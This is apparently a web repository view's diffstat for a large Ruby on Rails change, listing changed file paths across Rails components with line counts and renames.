aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--CONTRIBUTING.md12
-rw-r--r--Gemfile39
-rw-r--r--Rakefile3
-rw-r--r--actionmailer/CHANGELOG.md551
-rw-r--r--actionmailer/lib/action_mailer.rb5
-rw-r--r--actionmailer/lib/action_mailer/async.rb41
-rw-r--r--actionmailer/lib/action_mailer/base.rb39
-rw-r--r--actionmailer/lib/action_mailer/collector.rb2
-rw-r--r--actionmailer/lib/action_mailer/delivery_methods.rb21
-rw-r--r--actionmailer/lib/action_mailer/mail_helper.rb7
-rw-r--r--actionmailer/lib/action_mailer/queued_message.rb37
-rw-r--r--actionmailer/lib/action_mailer/railtie.rb5
-rw-r--r--actionmailer/lib/action_mailer/test_case.rb16
-rw-r--r--actionmailer/lib/action_mailer/test_helper.rb3
-rw-r--r--actionmailer/test/abstract_unit.rb1
-rw-r--r--actionmailer/test/base_test.rb53
-rw-r--r--actionmailer/test/delivery_methods_test.rb39
-rw-r--r--actionmailer/test/mailers/async_mailer.rb2
-rw-r--r--actionmailer/test/spec_type_test.rb37
-rw-r--r--actionmailer/test/test_test.rb144
-rw-r--r--actionpack/CHANGELOG.md6245
-rw-r--r--actionpack/actionpack.gemspec2
-rw-r--r--actionpack/lib/abstract_controller/helpers.rb6
-rw-r--r--actionpack/lib/action_controller.rb14
-rw-r--r--actionpack/lib/action_controller/base.rb34
-rw-r--r--actionpack/lib/action_controller/caching.rb25
-rw-r--r--actionpack/lib/action_controller/caching/actions.rb2
-rw-r--r--actionpack/lib/action_controller/caching/sweeping.rb2
-rw-r--r--actionpack/lib/action_controller/log_subscriber.rb3
-rw-r--r--actionpack/lib/action_controller/metal.rb25
-rw-r--r--actionpack/lib/action_controller/metal/conditional_get.rb42
-rw-r--r--actionpack/lib/action_controller/metal/exceptions.rb3
-rw-r--r--actionpack/lib/action_controller/metal/instrumentation.rb1
-rw-r--r--actionpack/lib/action_controller/metal/params_wrapper.rb14
-rw-r--r--actionpack/lib/action_controller/metal/request_forgery_protection.rb93
-rw-r--r--actionpack/lib/action_controller/metal/responder.rb2
-rw-r--r--actionpack/lib/action_controller/metal/strong_parameters.rb337
-rw-r--r--actionpack/lib/action_controller/railtie.rb6
-rw-r--r--actionpack/lib/action_controller/record_identifier.rb83
-rw-r--r--actionpack/lib/action_controller/test_case.rb10
-rw-r--r--actionpack/lib/action_controller/vendor/html-scanner.rb23
-rw-r--r--actionpack/lib/action_dispatch.rb13
-rw-r--r--actionpack/lib/action_dispatch/http/cache.rb11
-rw-r--r--actionpack/lib/action_dispatch/http/mime_type.rb185
-rw-r--r--actionpack/lib/action_dispatch/http/request.rb7
-rw-r--r--actionpack/lib/action_dispatch/http/upload.rb61
-rw-r--r--actionpack/lib/action_dispatch/middleware/exception_wrapper.rb6
-rw-r--r--actionpack/lib/action_dispatch/middleware/params_parser.rb17
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cookie_store.rb8
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/mem_cache_store.rb10
-rw-r--r--actionpack/lib/action_dispatch/railtie.rb2
-rw-r--r--actionpack/lib/action_dispatch/request/session.rb9
-rw-r--r--actionpack/lib/action_dispatch/routing/inspector.rb2
-rw-r--r--actionpack/lib/action_dispatch/routing/mapper.rb78
-rw-r--r--actionpack/lib/action_dispatch/routing/route_set.rb30
-rw-r--r--actionpack/lib/action_dispatch/routing/url_for.rb2
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/dom.rb2
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/selector.rb3
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/tag.rb2
-rw-r--r--actionpack/lib/action_dispatch/testing/integration.rb5
-rw-r--r--actionpack/lib/action_view.rb10
-rw-r--r--actionpack/lib/action_view/asset_paths.rb3
-rw-r--r--actionpack/lib/action_view/base.rb5
-rw-r--r--actionpack/lib/action_view/digestor.rb104
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helper.rb101
-rw-r--r--actionpack/lib/action_view/helpers/cache_helper.rb102
-rw-r--r--actionpack/lib/action_view/helpers/date_helper.rb24
-rw-r--r--actionpack/lib/action_view/helpers/form_helper.rb14
-rw-r--r--actionpack/lib/action_view/helpers/form_options_helper.rb8
-rw-r--r--actionpack/lib/action_view/helpers/form_tag_helper.rb5
-rw-r--r--actionpack/lib/action_view/helpers/record_tag_helper.rb4
-rw-r--r--actionpack/lib/action_view/helpers/sanitize_helper.rb2
-rw-r--r--actionpack/lib/action_view/helpers/text_helper.rb54
-rw-r--r--actionpack/lib/action_view/helpers/url_helper.rb114
-rw-r--r--actionpack/lib/action_view/lookup_context.rb4
-rw-r--r--actionpack/lib/action_view/model_naming.rb12
-rw-r--r--actionpack/lib/action_view/railtie.rb2
-rw-r--r--actionpack/lib/action_view/record_identifier.rb84
-rw-r--r--actionpack/lib/action_view/renderer/streaming_template_renderer.rb2
-rw-r--r--actionpack/lib/action_view/routing_url_for.rb107
-rw-r--r--actionpack/lib/action_view/template.rb9
-rw-r--r--actionpack/lib/action_view/template/error.rb3
-rw-r--r--actionpack/lib/action_view/template/handlers.rb10
-rw-r--r--actionpack/lib/action_view/template/handlers/builder.rb2
-rw-r--r--actionpack/lib/action_view/template/resolver.rb2
-rw-r--r--actionpack/lib/action_view/template/text.rb12
-rw-r--r--actionpack/lib/action_view/template/types.rb58
-rw-r--r--actionpack/lib/action_view/test_case.rb16
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner.rb20
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/document.rb (renamed from actionpack/lib/action_controller/vendor/html-scanner/html/document.rb)0
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/node.rb (renamed from actionpack/lib/action_controller/vendor/html-scanner/html/node.rb)0
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/sanitizer.rb (renamed from actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb)0
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/selector.rb (renamed from actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb)0
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb (renamed from actionpack/lib/action_controller/vendor/html-scanner/html/tokenizer.rb)0
-rw-r--r--actionpack/lib/action_view/vendor/html-scanner/html/version.rb (renamed from actionpack/lib/action_controller/vendor/html-scanner/html/version.rb)0
-rw-r--r--actionpack/test/abstract_unit.rb1
-rw-r--r--actionpack/test/activerecord/active_record_store_test.rb288
-rw-r--r--actionpack/test/controller/action_pack_assertions_test.rb2
-rw-r--r--actionpack/test/controller/assert_select_test.rb10
-rw-r--r--actionpack/test/controller/base_test.rb41
-rw-r--r--actionpack/test/controller/caching_test.rb60
-rw-r--r--actionpack/test/controller/filters_test.rb14
-rw-r--r--actionpack/test/controller/integration_test.rb2
-rw-r--r--actionpack/test/controller/log_subscriber_test.rb15
-rw-r--r--actionpack/test/controller/new_base/render_streaming_test.rb2
-rw-r--r--actionpack/test/controller/parameters/nested_parameters_test.rb113
-rw-r--r--actionpack/test/controller/parameters/parameters_permit_test.rb73
-rw-r--r--actionpack/test/controller/parameters/parameters_require_test.rb10
-rw-r--r--actionpack/test/controller/params_wrapper_test.rb40
-rw-r--r--actionpack/test/controller/permitted_params_test.rb25
-rw-r--r--actionpack/test/controller/render_test.rb32
-rw-r--r--actionpack/test/controller/request_forgery_protection_test.rb16
-rw-r--r--actionpack/test/controller/required_params_test.rb30
-rw-r--r--actionpack/test/controller/routing_test.rb34
-rw-r--r--actionpack/test/controller/selector_test.rb2
-rw-r--r--actionpack/test/controller/spec_style_test.rb208
-rw-r--r--actionpack/test/controller/spec_type_test.rb37
-rw-r--r--actionpack/test/dispatch/debug_exceptions_test.rb11
-rw-r--r--actionpack/test/dispatch/mime_type_test.rb10
-rw-r--r--actionpack/test/dispatch/mount_test.rb9
-rw-r--r--actionpack/test/dispatch/prefix_generation_test.rb11
-rw-r--r--actionpack/test/dispatch/rack_test.rb12
-rw-r--r--actionpack/test/dispatch/request/json_params_parsing_test.rb4
-rw-r--r--actionpack/test/dispatch/request/session_test.rb9
-rw-r--r--actionpack/test/dispatch/request/xml_params_parsing_test.rb4
-rw-r--r--actionpack/test/dispatch/request_test.rb39
-rw-r--r--actionpack/test/dispatch/response_test.rb57
-rw-r--r--actionpack/test/dispatch/routing/concerns_test.rb47
-rw-r--r--actionpack/test/dispatch/routing/inspector_test.rb4
-rw-r--r--actionpack/test/dispatch/routing_test.rb19
-rw-r--r--actionpack/test/dispatch/session/cookie_store_test.rb20
-rw-r--r--actionpack/test/dispatch/session/mem_cache_store_test.rb13
-rw-r--r--actionpack/test/dispatch/spec_type_test.rb41
-rw-r--r--actionpack/test/dispatch/uploaded_file_test.rb20
-rw-r--r--actionpack/test/fixtures/company.rb1
-rw-r--r--actionpack/test/fixtures/digestor/comments/_comment.html.erb1
-rw-r--r--actionpack/test/fixtures/digestor/comments/_comments.html.erb1
-rw-r--r--actionpack/test/fixtures/digestor/events/_event.html.erb0
-rw-r--r--actionpack/test/fixtures/digestor/messages/_form.html.erb0
-rw-r--r--actionpack/test/fixtures/digestor/messages/_header.html.erb0
-rw-r--r--actionpack/test/fixtures/digestor/messages/_message.html.erb1
-rw-r--r--actionpack/test/fixtures/digestor/messages/actions/_move.html.erb0
-rw-r--r--actionpack/test/fixtures/digestor/messages/edit.html.erb5
-rw-r--r--actionpack/test/fixtures/digestor/messages/index.html.erb2
-rw-r--r--actionpack/test/fixtures/digestor/messages/show.html.erb9
-rw-r--r--actionpack/test/fixtures/ruby_template.ruby2
-rw-r--r--actionpack/test/metal/caching_test.rb32
-rw-r--r--actionpack/test/template/asset_tag_helper_test.rb13
-rw-r--r--actionpack/test/template/date_helper_test.rb24
-rw-r--r--actionpack/test/template/digestor_test.rb160
-rw-r--r--actionpack/test/template/erb/helper.rb3
-rw-r--r--actionpack/test/template/erb_util_test.rb2
-rw-r--r--actionpack/test/template/form_helper_test.rb6
-rw-r--r--actionpack/test/template/form_options_helper_test.rb2
-rw-r--r--actionpack/test/template/form_tag_helper_test.rb14
-rw-r--r--actionpack/test/template/javascript_helper_test.rb10
-rw-r--r--actionpack/test/template/log_subscriber_test.rb7
-rw-r--r--actionpack/test/template/lookup_context_test.rb11
-rw-r--r--actionpack/test/template/record_identifier_test.rb (renamed from actionpack/test/controller/record_identifier_test.rb)11
-rw-r--r--actionpack/test/template/render_test.rb17
-rw-r--r--actionpack/test/template/spec_type_test.rb39
-rw-r--r--actionpack/test/template/template_test.rb7
-rw-r--r--actionpack/test/template/test_case_test.rb2
-rw-r--r--actionpack/test/template/test_test.rb56
-rw-r--r--actionpack/test/template/text_helper_test.rb15
-rw-r--r--actionpack/test/template/url_helper_test.rb4
-rw-r--r--activemodel/CHANGELOG.md234
-rw-r--r--activemodel/activemodel.gemspec2
-rw-r--r--activemodel/lib/active_model.rb19
-rw-r--r--activemodel/lib/active_model/deprecated_mass_assignment_security.rb19
-rw-r--r--activemodel/lib/active_model/forbidden_attributes_protection.rb27
-rw-r--r--activemodel/lib/active_model/mass_assignment_security.rb350
-rw-r--r--activemodel/lib/active_model/mass_assignment_security/permission_set.rb40
-rw-r--r--activemodel/lib/active_model/mass_assignment_security/sanitizer.rb74
-rw-r--r--activemodel/lib/active_model/railtie.rb8
-rw-r--r--activemodel/lib/active_model/validations/callbacks.rb8
-rw-r--r--activemodel/lib/active_model/validations/clusivity.rb15
-rw-r--r--activemodel/lib/active_model/validations/exclusion.rb3
-rw-r--r--activemodel/lib/active_model/validations/inclusion.rb3
-rw-r--r--activemodel/lib/active_model/validations/validates.rb6
-rw-r--r--activemodel/test/cases/deprecated_mass_assignment_security_test.rb16
-rw-r--r--activemodel/test/cases/forbidden_attributes_protection_test.rb36
-rw-r--r--activemodel/test/cases/mass_assignment_security/black_list_test.rb20
-rw-r--r--activemodel/test/cases/mass_assignment_security/permission_set_test.rb36
-rw-r--r--activemodel/test/cases/mass_assignment_security/sanitizer_test.rb50
-rw-r--r--activemodel/test/cases/mass_assignment_security/white_list_test.rb19
-rw-r--r--activemodel/test/cases/mass_assignment_security_test.rb120
-rw-r--r--activemodel/test/cases/secure_password_test.rb12
-rwxr-xr-xactivemodel/test/cases/serializers/xml_serialization_test.rb2
-rw-r--r--activemodel/test/cases/validations/exclusion_validation_test.rb25
-rw-r--r--activemodel/test/cases/validations/inclusion_validation_test.rb25
-rw-r--r--activemodel/test/models/account.rb5
-rw-r--r--activemodel/test/models/administrator.rb4
-rw-r--r--activemodel/test/models/mass_assignment_specific.rb76
-rw-r--r--activemodel/test/models/project.rb3
-rw-r--r--activemodel/test/models/visitor.rb3
-rw-r--r--activerecord/CHANGELOG.md7224
-rw-r--r--activerecord/README.rdoc24
-rw-r--r--activerecord/lib/active_record.rb20
-rw-r--r--activerecord/lib/active_record/associations.rb16
-rw-r--r--activerecord/lib/active_record/associations/association.rb13
-rw-r--r--activerecord/lib/active_record/associations/collection_association.rb22
-rw-r--r--activerecord/lib/active_record/associations/collection_proxy.rb23
-rw-r--r--activerecord/lib/active_record/associations/has_many_through_association.rb18
-rw-r--r--activerecord/lib/active_record/associations/has_one_association.rb6
-rw-r--r--activerecord/lib/active_record/associations/join_dependency/join_part.rb2
-rw-r--r--activerecord/lib/active_record/associations/singular_association.rb16
-rw-r--r--activerecord/lib/active_record/attribute_assignment.rb106
-rw-r--r--activerecord/lib/active_record/attribute_methods/primary_key.rb5
-rw-r--r--activerecord/lib/active_record/attribute_methods/query.rb3
-rw-r--r--activerecord/lib/active_record/attribute_methods/read.rb17
-rw-r--r--activerecord/lib/active_record/attribute_methods/serialization.rb19
-rw-r--r--activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb34
-rw-r--r--activerecord/lib/active_record/attribute_methods/write.rb4
-rw-r--r--activerecord/lib/active_record/autosave_association.rb1
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb127
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb218
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb56
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/transaction.rb165
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_adapter.rb37
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb15
-rw-r--r--activerecord/lib/active_record/connection_adapters/column.rb11
-rw-r--r--activerecord/lib/active_record/connection_adapters/connection_specification.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql_adapter.rb14
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb97
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/cast.rb124
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb245
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid.rb24
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb141
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb22
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb446
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb1213
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb10
-rw-r--r--activerecord/lib/active_record/connection_handling.rb2
-rw-r--r--activerecord/lib/active_record/core.rb32
-rw-r--r--activerecord/lib/active_record/counter_cache.rb2
-rw-r--r--activerecord/lib/active_record/errors.rb3
-rw-r--r--activerecord/lib/active_record/explain_subscriber.rb3
-rw-r--r--activerecord/lib/active_record/fixtures.rb11
-rw-r--r--activerecord/lib/active_record/inheritance.rb4
-rw-r--r--activerecord/lib/active_record/migration.rb4
-rw-r--r--activerecord/lib/active_record/model.rb24
-rw-r--r--activerecord/lib/active_record/model_schema.rb8
-rw-r--r--activerecord/lib/active_record/nested_attributes.rb61
-rw-r--r--activerecord/lib/active_record/persistence.rb55
-rw-r--r--activerecord/lib/active_record/railtie.rb7
-rw-r--r--activerecord/lib/active_record/railties/console_sandbox.rb2
-rw-r--r--activerecord/lib/active_record/railties/databases.rake79
-rw-r--r--activerecord/lib/active_record/readonly_attributes.rb7
-rw-r--r--activerecord/lib/active_record/reflection.rb8
-rw-r--r--activerecord/lib/active_record/relation.rb13
-rw-r--r--activerecord/lib/active_record/relation/batches.rb2
-rw-r--r--activerecord/lib/active_record/relation/calculations.rb2
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder.rb46
-rw-r--r--activerecord/lib/active_record/relation/query_methods.rb43
-rw-r--r--activerecord/lib/active_record/result.rb16
-rw-r--r--activerecord/lib/active_record/sanitization.rb5
-rw-r--r--activerecord/lib/active_record/schema.rb8
-rw-r--r--activerecord/lib/active_record/schema_dumper.rb49
-rw-r--r--activerecord/lib/active_record/schema_migration.rb1
-rw-r--r--activerecord/lib/active_record/session_store.rb365
-rw-r--r--activerecord/lib/active_record/store.rb51
-rw-r--r--activerecord/lib/active_record/tasks/database_tasks.rb28
-rw-r--r--activerecord/lib/active_record/tasks/mysql_database_tasks.rb44
-rw-r--r--activerecord/lib/active_record/timestamp.rb14
-rw-r--r--activerecord/lib/active_record/transactions.rb40
-rw-r--r--activerecord/lib/active_record/validations.rb6
-rw-r--r--activerecord/lib/rails/generators/active_record/migration/migration_generator.rb9
-rw-r--r--activerecord/lib/rails/generators/active_record/model/templates/model.rb5
-rw-r--r--activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb24
-rw-r--r--activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb12
-rw-r--r--activerecord/test/active_record/connection_adapters/fake_adapter.rb4
-rw-r--r--activerecord/test/cases/adapter_test.rb32
-rw-r--r--activerecord/test/cases/adapters/mysql/connection_test.rb7
-rw-r--r--activerecord/test/cases/adapters/mysql2/connection_test.rb7
-rw-r--r--activerecord/test/cases/adapters/postgresql/active_schema_test.rb3
-rw-r--r--activerecord/test/cases/adapters/postgresql/array_test.rb98
-rw-r--r--activerecord/test/cases/adapters/postgresql/datatype_test.rb16
-rw-r--r--activerecord/test/cases/adapters/postgresql/json_test.rb71
-rw-r--r--activerecord/test/cases/aggregations_test.rb2
-rw-r--r--activerecord/test/cases/associations/eager_test.rb12
-rw-r--r--activerecord/test/cases/associations/extension_test.rb7
-rw-r--r--activerecord/test/cases/associations/has_many_associations_test.rb67
-rw-r--r--activerecord/test/cases/associations/has_many_through_associations_test.rb20
-rw-r--r--activerecord/test/cases/associations/has_one_associations_test.rb32
-rw-r--r--activerecord/test/cases/associations/join_dependency_test.rb8
-rw-r--r--activerecord/test/cases/attribute_methods_test.rb11
-rw-r--r--activerecord/test/cases/base_test.rb254
-rw-r--r--activerecord/test/cases/batches_test.rb14
-rw-r--r--activerecord/test/cases/calculations_test.rb11
-rw-r--r--activerecord/test/cases/callbacks_test.rb49
-rw-r--r--activerecord/test/cases/connection_adapters/connection_handler_test.rb15
-rw-r--r--activerecord/test/cases/connection_pool_test.rb2
-rw-r--r--activerecord/test/cases/connection_specification/resolver_test.rb2
-rw-r--r--activerecord/test/cases/counter_cache_test.rb11
-rw-r--r--activerecord/test/cases/deprecated_dynamic_methods_test.rb28
-rw-r--r--activerecord/test/cases/dirty_test.rb25
-rw-r--r--activerecord/test/cases/dup_test.rb2
-rw-r--r--activerecord/test/cases/explain_subscriber_test.rb7
-rw-r--r--activerecord/test/cases/finder_test.rb1
-rw-r--r--activerecord/test/cases/forbidden_attributes_protection_test.rb49
-rw-r--r--activerecord/test/cases/helper.rb2
-rw-r--r--activerecord/test/cases/inheritance_test.rb98
-rw-r--r--activerecord/test/cases/locking_test.rb19
-rw-r--r--activerecord/test/cases/mass_assignment_security_test.rb966
-rw-r--r--activerecord/test/cases/nested_attributes_test.rb70
-rw-r--r--activerecord/test/cases/persistence_test.rb80
-rw-r--r--activerecord/test/cases/relation/where_test.rb72
-rw-r--r--activerecord/test/cases/relation_test.rb5
-rw-r--r--activerecord/test/cases/relations_test.rb8
-rw-r--r--activerecord/test/cases/schema_dumper_test.rb107
-rw-r--r--activerecord/test/cases/serialization_test.rb13
-rw-r--r--activerecord/test/cases/serialized_attribute_test.rb205
-rw-r--r--activerecord/test/cases/session_store/session_test.rb81
-rw-r--r--activerecord/test/cases/session_store/sql_bypass_test.rb75
-rw-r--r--activerecord/test/cases/store_test.rb27
-rw-r--r--activerecord/test/cases/tasks/mysql_rake_test.rb66
-rw-r--r--activerecord/test/cases/transaction_isolation_test.rb114
-rw-r--r--activerecord/test/cases/transactions_test.rb254
-rw-r--r--activerecord/test/cases/validations_test.rb6
-rw-r--r--activerecord/test/cases/xml_serialization_test.rb12
-rw-r--r--activerecord/test/fixtures/companies.yml6
-rw-r--r--activerecord/test/fixtures/friendships.yml4
-rw-r--r--activerecord/test/fixtures/people.yml3
-rw-r--r--activerecord/test/fixtures/vegetables.yml20
-rw-r--r--activerecord/test/models/admin/user.rb9
-rw-r--r--activerecord/test/models/bulb.rb8
-rw-r--r--activerecord/test/models/company.rb5
-rw-r--r--activerecord/test/models/company_in_module.rb1
-rw-r--r--activerecord/test/models/friendship.rb4
-rw-r--r--activerecord/test/models/person.rb14
-rw-r--r--activerecord/test/models/pirate.rb2
-rw-r--r--activerecord/test/models/possession.rb3
-rw-r--r--activerecord/test/models/post.rb3
-rw-r--r--activerecord/test/models/price_estimate.rb1
-rw-r--r--activerecord/test/models/reader.rb8
-rw-r--r--activerecord/test/models/reply.rb2
-rw-r--r--activerecord/test/models/treasure.rb3
-rw-r--r--activerecord/test/models/vegetables.rb24
-rw-r--r--activerecord/test/schema/postgresql_specific_schema.rb14
-rw-r--r--activerecord/test/schema/schema.rb20
-rw-r--r--activerecord/test/support/mysql.rb11
-rw-r--r--activesupport/CHANGELOG.md1858
-rw-r--r--activesupport/lib/active_support.rb3
-rw-r--r--activesupport/lib/active_support/backtrace_cleaner.rb44
-rw-r--r--activesupport/lib/active_support/benchmarkable.rb33
-rw-r--r--activesupport/lib/active_support/cache.rb150
-rw-r--r--activesupport/lib/active_support/callbacks.rb156
-rw-r--r--activesupport/lib/active_support/concern.rb21
-rw-r--r--activesupport/lib/active_support/configurable.rb26
-rw-r--r--activesupport/lib/active_support/core_ext/array/conversions.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/array/extract_options.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/array/grouping.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/array/uniq_by.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/array/wrap.rb23
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/date/calculations.rb211
-rw-r--r--activesupport/lib/active_support/core_ext/date/conversions.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/date/zones.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/date_and_time/calculations.rb232
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/calculations.rb52
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/conversions.rb7
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/zones.rb11
-rw-r--r--activesupport/lib/active_support/core_ext/enumerable.rb11
-rw-r--r--activesupport/lib/active_support/core_ext/file/atomic.rb32
-rw-r--r--activesupport/lib/active_support/core_ext/hash/conversions.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/deep_merge.rb18
-rw-r--r--activesupport/lib/active_support/core_ext/hash/except.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/hash/indifferent_access.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/hash/keys.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/hash/reverse_merge.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/hash/slice.rb10
-rw-r--r--activesupport/lib/active_support/core_ext/integer/inflections.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/integer/time.rb20
-rw-r--r--activesupport/lib/active_support/core_ext/kernel/reporting.rb11
-rw-r--r--activesupport/lib/active_support/core_ext/module/anonymous.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/module/delegation.rb36
-rw-r--r--activesupport/lib/active_support/core_ext/module/deprecation.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/module/introspection.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/numeric/conversions.rb128
-rw-r--r--activesupport/lib/active_support/core_ext/numeric/time.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/object/blank.rb9
-rw-r--r--activesupport/lib/active_support/core_ext/object/duplicable.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_json.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/object/with_options.rb15
-rw-r--r--activesupport/lib/active_support/core_ext/string/filters.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/string/output_safety.rb10
-rw-r--r--activesupport/lib/active_support/core_ext/time/calculations.rb220
-rw-r--r--activesupport/lib/active_support/core_ext/time/conversions.rb24
-rw-r--r--activesupport/lib/active_support/core_ext/time/zones.rb6
-rw-r--r--activesupport/lib/active_support/dependencies.rb166
-rw-r--r--activesupport/lib/active_support/dependencies/autoload.rb59
-rw-r--r--activesupport/lib/active_support/deprecation.rb35
-rw-r--r--activesupport/lib/active_support/deprecation/behaviors.rb68
-rw-r--r--activesupport/lib/active_support/deprecation/instance_delegator.rb24
-rw-r--r--activesupport/lib/active_support/deprecation/method_wrappers.rb70
-rw-r--r--activesupport/lib/active_support/deprecation/proxy_wrappers.rb71
-rw-r--r--activesupport/lib/active_support/deprecation/reporting.rb39
-rw-r--r--activesupport/lib/active_support/duration.rb6
-rw-r--r--activesupport/lib/active_support/file_update_checker.rb18
-rw-r--r--activesupport/lib/active_support/hash_with_indifferent_access.rb65
-rw-r--r--activesupport/lib/active_support/i18n_railtie.rb4
-rw-r--r--activesupport/lib/active_support/inflector/inflections.rb112
-rw-r--r--activesupport/lib/active_support/inflector/methods.rb186
-rw-r--r--activesupport/lib/active_support/inflector/transliterate.rb31
-rw-r--r--activesupport/lib/active_support/json/decoding.rb6
-rw-r--r--activesupport/lib/active_support/json/encoding.rb26
-rw-r--r--activesupport/lib/active_support/lazy_load_hooks.rb18
-rw-r--r--activesupport/lib/active_support/log_subscriber.rb24
-rw-r--r--activesupport/lib/active_support/log_subscriber/test_helper.rb19
-rw-r--r--activesupport/lib/active_support/logger.rb2
-rw-r--r--activesupport/lib/active_support/message_encryptor.rb42
-rw-r--r--activesupport/lib/active_support/message_verifier.rb14
-rw-r--r--activesupport/lib/active_support/multibyte.rb9
-rw-r--r--activesupport/lib/active_support/multibyte/chars.rb60
-rw-r--r--activesupport/lib/active_support/multibyte/unicode.rb52
-rw-r--r--activesupport/lib/active_support/notifications.rb19
-rw-r--r--activesupport/lib/active_support/notifications/instrumenter.rb2
-rw-r--r--activesupport/lib/active_support/number_helper.rb20
-rw-r--r--activesupport/lib/active_support/ordered_options.rb33
-rw-r--r--activesupport/lib/active_support/queueing.rb133
-rw-r--r--activesupport/lib/active_support/railtie.rb13
-rw-r--r--activesupport/lib/active_support/rescuable.rb6
-rw-r--r--activesupport/lib/active_support/string_inquirer.rb3
-rw-r--r--activesupport/lib/active_support/tagged_logging.rb59
-rw-r--r--activesupport/lib/active_support/test_case.rb3
-rw-r--r--activesupport/lib/active_support/testing/assertions.rb8
-rw-r--r--activesupport/lib/active_support/testing/constant_lookup.rb52
-rw-r--r--activesupport/lib/active_support/testing/performance.rb8
-rw-r--r--activesupport/lib/active_support/testing/tagged_logging.rb30
-rw-r--r--activesupport/lib/active_support/time_with_zone.rb46
-rw-r--r--activesupport/lib/active_support/values/time_zone.rb87
-rw-r--r--activesupport/lib/active_support/xml_mini/libxml.rb2
-rw-r--r--activesupport/lib/active_support/xml_mini/nokogiri.rb2
-rw-r--r--activesupport/lib/active_support/xml_mini/rexml.rb2
-rw-r--r--activesupport/test/abstract_unit.rb10
-rw-r--r--activesupport/test/autoload_test.rb (renamed from activesupport/test/autoload.rb)12
-rw-r--r--activesupport/test/autoloading_fixtures/circular1.rb6
-rw-r--r--activesupport/test/autoloading_fixtures/circular2.rb4
-rw-r--r--activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb2
-rw-r--r--activesupport/test/caching_test.rb88
-rw-r--r--activesupport/test/configurable_test.rb16
-rw-r--r--activesupport/test/core_ext/date_and_time_behavior.rb236
-rw-r--r--activesupport/test/core_ext/date_ext_test.rb173
-rw-r--r--activesupport/test/core_ext/date_time_ext_test.rb143
-rw-r--r--activesupport/test/core_ext/file_test.rb2
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb37
-rw-r--r--activesupport/test/core_ext/module/qualified_const_test.rb29
-rw-r--r--activesupport/test/core_ext/module_test.rb11
-rw-r--r--activesupport/test/core_ext/object/to_query_test.rb2
-rw-r--r--activesupport/test/core_ext/string_ext_test.rb2
-rw-r--r--activesupport/test/core_ext/time_ext_test.rb182
-rw-r--r--activesupport/test/dependencies_test.rb8
-rw-r--r--activesupport/test/deprecation_test.rb149
-rw-r--r--activesupport/test/inflector_test.rb4
-rw-r--r--activesupport/test/queueing/container_test.rb28
-rw-r--r--activesupport/test/queueing/synchronous_queue_test.rb27
-rw-r--r--activesupport/test/queueing/test_queue_test.rb (renamed from railties/test/queueing/test_queue_test.rb)10
-rw-r--r--activesupport/test/queueing/threaded_consumer_test.rb92
-rw-r--r--activesupport/test/spec_type_test.rb23
-rw-r--r--activesupport/test/tagged_logging_test.rb30
-rw-r--r--activesupport/test/test_test.rb15
-rw-r--r--activesupport/test/testing/constant_lookup_test.rb59
